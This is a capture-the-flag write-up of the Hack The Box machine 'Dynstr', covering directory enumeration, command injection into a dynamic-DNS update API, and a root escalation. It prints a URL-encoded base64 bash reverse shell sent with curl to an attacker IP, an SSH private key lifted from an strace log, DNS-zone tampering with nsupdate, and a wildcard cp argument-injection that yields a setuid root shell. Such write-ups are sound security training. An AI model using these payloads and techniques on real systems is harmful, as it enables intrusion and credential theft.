Hack The Box Dynstr Writeup

Dynstr is classified as a medium-level machine on HackTheBox. Initially, we encounter a static website for a Dynamic DNS service, which conceals multiple hidden directories. Through recursive scanning using gobuster, we uncover an API that is interactable. Following a thorough investigation, we discover a method to obtain a reverse shell. Additionally, an inadvertently exposed DNS secret key file enables us to insert our attacker IP and gain SSH access. Finally, we exploit a poorly written script to grant bash a sticky bit, thereby escalating privileges to root. Let us go ahead and find our way into it.
Enumeration
As always we start by inspecting the wire :)
┌──(kali㉿kali)-[~]$ sudo nmap -sC -sV -p- 10.10.10.244 --min-rate 10000 -oA dynstr
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 05:7c:5e:b1:83:f9:4f:ae:2f:08:e1:33:ff:f5:83:9e (RSA)
| 256 3f:73:b4:95:72:ca:5e:33:f6:8a:8f:46:cf:43:35:b9 (ECDSA)
|_ 256 cc:0a:41:b7:a1:9a:43:da:1b:68:f5:2a:f8:2a:75:2c (ED25519)
53/tcp open domain ISC BIND 9.16.1 (Ubuntu Linux)
| dns-nsid:
|_ bind.version: 9.16.1-Ubuntu
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Dyna DNS
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
With the following results we see ports 22, 53, 80
open. We can staart poking around port 80 and see what we can find.
Website Enumaration
We find a static website about dynamic DNS, there looks to be some useful information though.
After scouring the website we could not find anything more useful that could help us come any further.
┌──(kali💀kali)-[~/htb/dynstr]
└─# gobuster -t 100 dir -e -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://dyna.htb
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://dyna.htb
[+] Method: GET
[+] Threads: 100
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.1.0
[+] Expanded: true
[+] Timeout: 10s
===============================================================
2021/10/01 16:39:49 Starting gobuster in directory enumeration mode
===============================================================
http://dyna.htb/assets (Status: 301) [Size: 305] [--> http://dyna.htb/assets/]
http://dyna.htb/nic (Status: 301) [Size: 302] [--> http://dyna.htb/nic/]
===============================================================
2021/10/01 16:48:43 Finished
===============================================================
Looking at the results we find that an interesting directory at nic
we can do a further enumeration with a bruteforce.
┌──(kali💀kali)-[~]
└─# gobuster -t 100 dir -e -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://dyna.htb/nic
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://dyna.htb/nic
[+] Method: GET
[+] Threads: 100
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.1.0
[+] Expanded: true
[+] Timeout: 10s
===============================================================
2021/10/01 16:40:43 Starting gobuster in directory enumeration mode
===============================================================
http://dyna.htb/nic/update (Status: 200) [Size: 8]
===============================================================
2021/10/01 16:49:40 Finished
===============================================================
Inside the nic directory we find another directory update
. Loading it up we get a badauth message.
I was about to lose hope while searching to get the meaning of what it could mean. Luckily found an article here that gave some insight of what the message could mean.
This response code is returned in case of a failed authentication for the 'request'. Please note that sending across an invalid parameter such as an unknown domain name can also result in this 'response code'
API Investigation
Here our apptication tried to authenticate via a GET request to /nic/update path with parameter; mostly interesting with some Username
and password
. Previously I found some Username
, Password
and Email
. But how to do that? This article gave some good and workable method. So, let’s try.
Initial Foothold
From our previous article, I realised that two parameters were needed for this game: hostname
and my-ip
. Besides the username:password
had to be given in base64 encoded format.
dnsalias.htb
dynamicdns.htb
no-ip.htb
We got 911 [wrongdom: htb]
for most of our domains we were trying. Which begged the question what if we gave in character into the hostname before any inaccessible domain.
it replied with good <IP>
response. So, this field was vulnerable. Now time to do some code execution. I took a bash one-liner for reverse shell, base64 encode that and put in that field. Next we had to coook our shell in a base64 one-liner.
Put that encoded string in the same command as before to echo, decode then pass to bash. URL encode it:
┌──(kali💀kali)-[~]
└─# python3 -c "import urllib.parse; print(urllib.parse.quote('\`echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4yMTQvNDQ0NCAwPiYxCg== | base64 -d | bash\`'))"
%60echo%20YmFzaCAtaSA%2BJiAvZGV2L3RjcC8xMC4xMC4xNC4yMTQvNDQ0NCAwPiYxCg%3D%3D%20%20%7C%20base64%20-d%20%7C%20bash%60
We can use burpsuite or curl to pass it to the box and meanwhile spawn netcat to catch a shell. I chose to use curl
for this one.
┌──(kali💀kali)-[~/htb/dynstr]
└─# curl "http://dyna.htb/nic/update?myip=10.10.14.214&hostname=%60echo%20YmFzaCAtaSA%2BJiAvZGV2L3RjcC8xMC4xMC4xNC4yMTQvNDQ0NCAwPiYxCg%3D%3D%20%20%7C%20base64%20-d%20%7C%20bash%60.no-ip.htb" -H "Authorization: Basic ZHluYWRuczpzbmRhbnlk"
On our kali box we listen to catch the shell:
┌──(kali💀kali)-[~/htb/dynstr]
└─# nc -nlvp 4444
listening on [any] 4444 ...
connect to [10.10.14.214] from (UNKNOWN) [10.10.10.244] 51504
bash: cannot set terminal process group (795): Inappropriate ioctl for device
bash: no job control in this shell
www-data@dynstr:/var/www/html/nic$
From here we can list anything we find useful in these directories like users.
www-data@dynstr:/home/bindmgr$ ls -la
total 36
drwxr-xr-x 5 bindmgr bindmgr 4096 Mar 15 20:39 .
drwxr-xr-x 4 root root 4096 Mar 15 20:26 ..
lrwxrwxrwx 1 bindmgr bindmgr 9 Mar 15 20:29 .bash_history -> /dev/null
-rw-r--r-- 1 bindmgr bindmgr 220 Feb 25 2020 .bash_logout
-rw-r--r-- 1 bindmgr bindmgr 3771 Feb 25 2020 .bashrc
drwx------ 2 bindmgr bindmgr 4096 Mar 13 12:09 .cache
-rw-r--r-- 1 bindmgr bindmgr 807 Feb 25 2020 .profile
drwxr-xr-x 2 bindmgr bindmgr 4096 Mar 13 12:09 .ssh
drwxr-xr-x 2 bindmgr bindmgr 4096 Mar 13 14:53 support-case-C62796521
-r-------- 1 bindmgr bindmgr 33 Jun 9 11:50 user.txt
we were not able to read the contents of user.txt
, but could access the support-case-C62796521
and .ssh
directories. Support case sounds interesting, let’s look in there:
www-data@dynstr:/home/bindmgr$ cd support-case-C62796521
www-data@dynstr:/home/bindmgr/support-case-C62796521$ ls -l
-rw-r--r-- 1 bindmgr bindmgr 237141 Mar 13 2021 C62796521-debugging.script
-rw-r--r-- 1 bindmgr bindmgr 29312 Mar 13 2021 C62796521-debugging.timing
-rw-r--r-- 1 bindmgr bindmgr 1175 Mar 13 2021 command-output-C62796521.txt
-rw-r--r-- 1 bindmgr bindmgr 163048 Mar 13 2021 strace-C62796521.txt
Looking at the four files the command-output on shows us this:
www-data@dynstr:/home/bindmgr/support-case-C62796521$ cat command-output-C62796521.txt
<SNIP>
* Connected to sftp.infra.dyna.htb (192.168.178.27) port 22 (#0)
* SSH MD5 fingerprint: c1c2d07855aa0f80005de88d254a6db8
* SSH authentication methods available: publickey,password
* Using SSH public key file '/home/bindmgr/.ssh/id_rsa.pub'
* Using SSH private key file '/home/bindmgr/.ssh/id_rsa'
It mentions sftp.infra.dyna.htb, which must relate the the infra.key we found earlier. It also shows that the ssh keys held in the users home .ssh folder where used to connect. Looking at the strace file we find this amongst the long output:
www-data@dynstr:/home/bindmgr$ cd support-case-C62796521
www-data@dynstr:/home/bindmgr/support-case-C62796521$ ls -l
-rw-r--r-- 1 bindmgr bindmgr 237141 Mar 13 2021 C62796521-debugging.script
-rw-r--r-- 1 bindmgr bindmgr 29312 Mar 13 2021 C62796521-debugging.timing
-rw-r--r-- 1 bindmgr bindmgr 1175 Mar 13 2021 command-output-C62796521.txt
-rw-r--r-- 1 bindmgr bindmgr 163048 Mar 13 2021 strace-C62796521.txt
Looking at the four files the command-output on shows us this:
www-data@dynstr:/home/bindmgr/support-case-C62796521$ cat strace-C62796521.txt
<SNIP>
15123 getrusage(RUSAGE_SELF, {ru_utime={tv_sec=0, tv_usec=31761}, ru_stime={tv_sec=0, tv_usec=36298}, ...}) = 0
15123 clock_gettime(CLOCK_PROCESS_CPUTIME_ID, {tv_sec=0, tv_nsec=68154027}) = 0
15123 openat(AT_FDCWD, "/home/bindmgr/.ssh/id_rsa", O_RDONLY) = 5
15123 fstat(5, {st_mode=S_IFREG|0600, st_size=1823, ...}) = 0
15123 read(5, "-----BEGIN OPENSSH PRIVATE KEY-----\nb3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAE
bm9uZQAAAAAAAAABAAABFwAAAAdzc2gtcn\nNhAAAAAwEAAQAAAQEAxeKZHOy+RGhs+gnMEgsdQas7klAb37
HhVANJgY7EoewTwmSCcsl1\n42kuvUhxLultlMRCj1pnZY/1sJqTywPGalR7VXo+2l0Dwx3zx7kQFiPeQJwi
OM8u/g8lV3\nHjGnCvzI4UojALjCH3YPVuvuhF0yIPvJDessdot/D2VPJqS+TD/4NogynFeUrpIW5DSP+F\
nL6oXil+sOM5ziRJQl/gKCWWDtUHHYwcsJpXotHxr5PibU8EgaKD6/heZXsD3Gn1VysNZdn\nUOLzjapbD
5Xm3xyykIQVkJMef6mveI972qx3z8m5\nrlfhko8zl6OtNtayoxUbQJvKKaTmLvfpho2PyE4E34BN+OBAIO
CJ3+TAAAADWJpbmRtZ3JAbm9tZW4BAgMEBQ==\n-----END OPENSSH PRIVATE KEY-----\n", 4096) = 1823
15123 read(5, "", 4096) = 0
15123 close(5) = 0
15123 write(2, "*", 1) = 1
15123 write(2, " ", 1) = 1
15123 write(2, "SSH public key authentication failed: Callback returned error\n", 62) = 62
15123 getpid() = 15123
15123 getrusage(RUSAGE_SELF, {ru_utime={tv_sec=0, tv_usec=32028}, ru_stime={tv_sec=0, tv_usec=36604}, ...}) = 0
15123 clock_gettime(CLOCK_PROCESS_CPUTIME_ID, {tv_sec=0, tv_nsec=68639024}) = 0
SSH Private Key
In the middle of the file we see a SSH private key, we can copy that to a file on Kali for later.
┌──(kali💀kali)-[~/htb/dynstr]
└─# echo '-----BEGIN OPENSSH PRIVATE KEY-----\nb3BlbnNzaC1rZXk<SNIP>+TAAAADWJpbmRtZ3JAbm9tZW4BAgMEBQ==\n-----END OPENSSH PRIVATE KEY-----\n' | sed 's/:/\n/g'
-----BEGIN OPENSSH PRIVATE KEY-----
TbCX2irUtaW+Ca6ky54TIyaWNIwZNznoMeLpINn7nUXbgQAAAIB+QqeQO7A3KHtYtTtr6A
<SNIP>
rlfhko8zl6OtNtayoxUbQJvKKaTmLvfpho2PyE4E34BN+OBAIOvfRxnt2x2SjtW3ojCJoG
jGPLYph+aOFCJ3+TAAAADWJpbmRtZ3JAbm9tZW4BAgMEBQ==
-----END OPENSSH PRIVATE KEY-----
I tried to list the contents of .ssh directory here and noticed we did not have permission to read contents of the id_rsa file but since we had obtained a copy of the private key it was not going to be necessary. So I had to look in the authorized_keys instead and found this:
www-data@dynstr:/var/www/html/nic$ cat /home/bindmgr/.ssh/authorized_keys
cat /home/bindmgr/.ssh/authorized_keys
from="*.infra.dyna.htb" ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDF4pkc7L5EaGz6CcwSCx1BqzuSUBvfseFUA0mBjsSh7BPCZIJyyXXjaS69SHEu6W2UxEKPWmdlj/WwmpPLA8ZqVHtVej7aXQPDHfPHuRAWI95AnCI4zy7+DyVXceMacK/MjhSiMAuMIfdg9W6+6EXTIg+8kN6yx2i38PZU8mpL5MP/g2iDKcV5SukhbkNI/4UvqheKX6w4znOJElCX+AoJZYO1QcdjBywmlei0fGvk+JtTwSBooPr+F5lewPcafVXKw1l2dQ4vONqlsN1EcpEkN+28ndlclgvm+26mhm7NNMPVWs4yeDXdDlP3SSd1ynKEJDnQhbhc1tcJSPEn7WOD bindmgr@nomen
We see an unusual piece from line at the start on the file. After doing some research I found this article that elaborated it.
Everything now falls in to place. We have the public and private key for the bindmgr user. We have authorized_key file that requires us to connect from the infra.dyna.htb zone. We have the infra.key file containing the secret needed to perform an nsupdate.
So we just need to add our Kali IP in to the infra DNS zone so we can connect via SSH. To do this we use nsupdate which we saw earlier in the update script:
www-data@dynstr:/etc/bind$ nsupdate -k infra.key
nsupdate -k infra.key
> update add pencer.infra.dyna.htb 86400 A 10.10.14.214
>
> update add 214.14.10.10.in-addr.arpa 86400 PTR pencer.infra.dyna.htb
> show
Outgoing update query:
;; ->>HEADER<<- opcode: UPDATE, status: NOERROR, id: 0
;; flags:; ZONE: 0, PREREQ: 0, UPDATE: 0, ADDITIONAL: 0
;; UPDATE SECTION:
214.14.10.10.in-addr.arpa. 86400 IN PTR pencer.infra.dyna.htb.
> send
> quit
Switch back to Kali and we should be able to login using the private key we copied across earlier:
┌──(kali💀kali)-[~/htb/dynstr]
└─# ssh -i id_rsa bindmgr@dyna.htb
The authenticity of host 'dyna.htb (10.10.10.244)' can't be established.
ECDSA key fingerprint is SHA256:443auWJe5iDH5JBCq/9ir4ToxZ5PTzTv7XvRSYrz0ao.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'dyna.htb,10.10.10.244' (ECDSA) to the list of known hosts.
Last login: Tue Jun 8 19:19:17 2021 from 6146f0a384024b2d9898129ccfee3408.infra.dyna.htb
bindmgr@dynstr:~$
with this login we were able to grab the user flag. Now it was time for that privilege escalation.
Privilege Escalation
We can start this by listing the current permission this user has with sudo.
bindmgr@dynstr:~$ sudo -l
sudo: unable to resolve host dynstr.dyna.htb: Name or service not known
Matching Defaults entries for bindmgr on dynstr:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User bindmgr may run the following commands on dynstr:
(ALL) NOPASSWD: /usr/local/bin/bindmgr.sh
Gave that user bindmgr could run /usr/local/bin/bindmgr.sh without password. Next thing we check the script. Let’s look what this bindmgr.sh script does. This first section sets the paths and checks if a file called .version exists in the $BINDMGR_DIR folder:
bindmgr@dynstr:~$ cat /usr/local/bin/bindmgr.sh
#!/usr/bin/bash
<SNIP>
BINDMGR_CONF=/etc/bind/named.conf.bindmgr
BINDMGR_DIR=/etc/bind/named.bindmgr
indent() { sed 's/^/ /'; }
# Check versioning (.version)
echo "[+] Running $0 to stage new configuration from $PWD."
if [[ ! -f .version ]] ; then
echo "[-] ERROR: Check versioning. Exiting."
exit 42
fi
if [[ "`cat .version 2>/dev/null`" -le "`cat $BINDMGR_DIR/.version 2>/dev/null`" ]] ; then
echo "[-] ERROR: Check versioning. Exiting."
exit 43
fi
Now it creates a list of all files in named.bindmgr folder:
# Create config file that includes all files from named.bindmgr.
echo "[+] Creating $BINDMGR_CONF file."
printf '// Automatically generated file. Do not modify manually.\n' > $BINDMGR_CONF
for file in * ; do
printf 'include "/etc/bind/named.bindmgr/%s";\n' "$file" >> $BINDMGR_CONF
done
This is the vulnerable bit. Here it is copying all the files to /etc/bind/named.bindmgr, but it uses * so we can put any file in and it will append to a single cp copy:
# Stage new version of configuration files.
echo "[+] Staging files to $BINDMGR_DIR."
cp .version * /etc/bind/named.bindmgr/
Following that, the script proceeds to perform cleanup tasks. We'll generate a file named .version
containing the number one as its content, then execute the script to observe the outcome.
bindmgr@dynstr:~$ cd /dev/shm
bindmgr@dynstr:/dev/shm$ echo "1" > .version
bindmgr@dynstr:/dev/shm$ sudo /usr/local/bin/bindmgr.sh
sudo: unable to resolve host dynstr.dyna.htb: Name or service not known
[+] Running /usr/local/bin/bindmgr.sh to stage new configuration from /dev/shm.
[+] Creating /etc/bind/named.conf.bindmgr file.
[+] Staging files to /etc/bind/named.bindmgr.
cp: cannot stat '*': No such file or directory
[+] Checking staged configuration.
[-] ERROR: The generated configuration is not valid. Please fix following errors:
/etc/bind/named.conf.bindmgr:2: open: /etc/bind/named.bindmgr/*: file not found
bindmgr@dynstr:/dev/shm$ ls -lsa /etc/bind/named.bindmgr/
4 -rw-r--r-- 1 root bind 2 Oct 6 23:11 .version
Staging Files
Alright, we crafted a file named .version
in /dev/shm
, executed the script with root privileges, and observed that the file was copied to /etc/bind/named.bindmgr
, owned by root. Understanding that the asterisk (*) in the script implies it will gather all files in the current directory and concatenate them into a single command line, we can exploit this behavior by staging files to grant us a bash shell, allowing execution as our user within the root context.
First we want to copy bash in to our working folder /dev/shm and set the SETUID bit on it. SETUID is defined as:
s (setuid) means set user ID upon execution. If setuid bit turned on a file, user executing that executable file gets the permissions of the individual or group that owns the file.
Then we need to create another file called –preserve=mode, it doesn’t need any contents. This is because when the script copies bash it will remove the setuid bit we’ve just set. We shall do this by:
bindmgr@dynstr:/tmp/tmp$ cp /bin/bash .
bindmgr@dynstr:/tmp/tmp$ chmod +s bash
bindmgr@dynstr:/tmp/tmp$ echo "" > "--preserve=mode"
bindmgr@dynstr:/dev/shm$ ls -lsa
total 1164
0 drwxrwxrwt 2 root root 100 Oct 6 23:21 .
0 drwxr-xr-x 17 root root 3940 Oct 6 20:57 ..
1156 -rwsr-sr-x 1 bindmgr bindmgr 1183448 Oct 6 23:20 bash
4 -rw-rw-r-- 1 bindmgr bindmgr 1 Oct 6 23:21 '--preserve=mode'
4 -rw-rw-r-- 1 bindmgr bindmgr 2 Oct 6 23:10 .version
bindmgr@dynstr:/dev/shm$ sudo /usr/local/bin/bindmgr.sh
sudo: unable to resolve host dynstr.dyna.htb: Name or service not known
[+] Running /usr/local/bin/bindmgr.sh to stage new configuration from /dev/shm.
[+] Creating /etc/bind/named.conf.bindmgr file.
[+] Staging files to /etc/bind/named.bindmgr.
cp: cannot stat '*': No such file or directory
[+] Checking staged configuration.
[-] ERROR: The generated configuration is not valid. Please fix following errors:
/etc/bind/named.conf.bindmgr:2: open: /etc/bind/named.bindmgr/*: file not found
bindmgr@dynstr:/dev/shm$ cd /etc/bind/named.bindmgr
bindmgr@dynstr:/etc/bind/named.bindmgr$ ls -lsa
total 1168
4 drwxr-sr-x 2 root bind 4096 Oct 6 23:21 .
4 drwxr-sr-x 3 root bind 4096 Oct 6 23:21 ..
1156 -rwsr-sr-x 1 root bind 1183448 Oct 6 23:21 bash
4 -rw-rw-r-- 1 root bind 2 Oct 6 23:21 .version
It worked and we can see bash has been copied to the folder, it’s owned by root but still has the s bit set so we can execute it as our user:
bindmgr@dynstr:/etc/bind/named.bindmgr$ ./bash -p
bash-5.0# whoami
root
bash-5.0# id
uid=1001(bindmgr) gid=1001(bindmgr) euid=0(root) egid=117(bind) groups=117(bind),1001(bindmgr)
bash-5.0# cat /root/root.txt
<HIDDEN>
This was one of those boxes that took me 2 days to figure out. But was the effort in the end. Hope you enjoyed it too!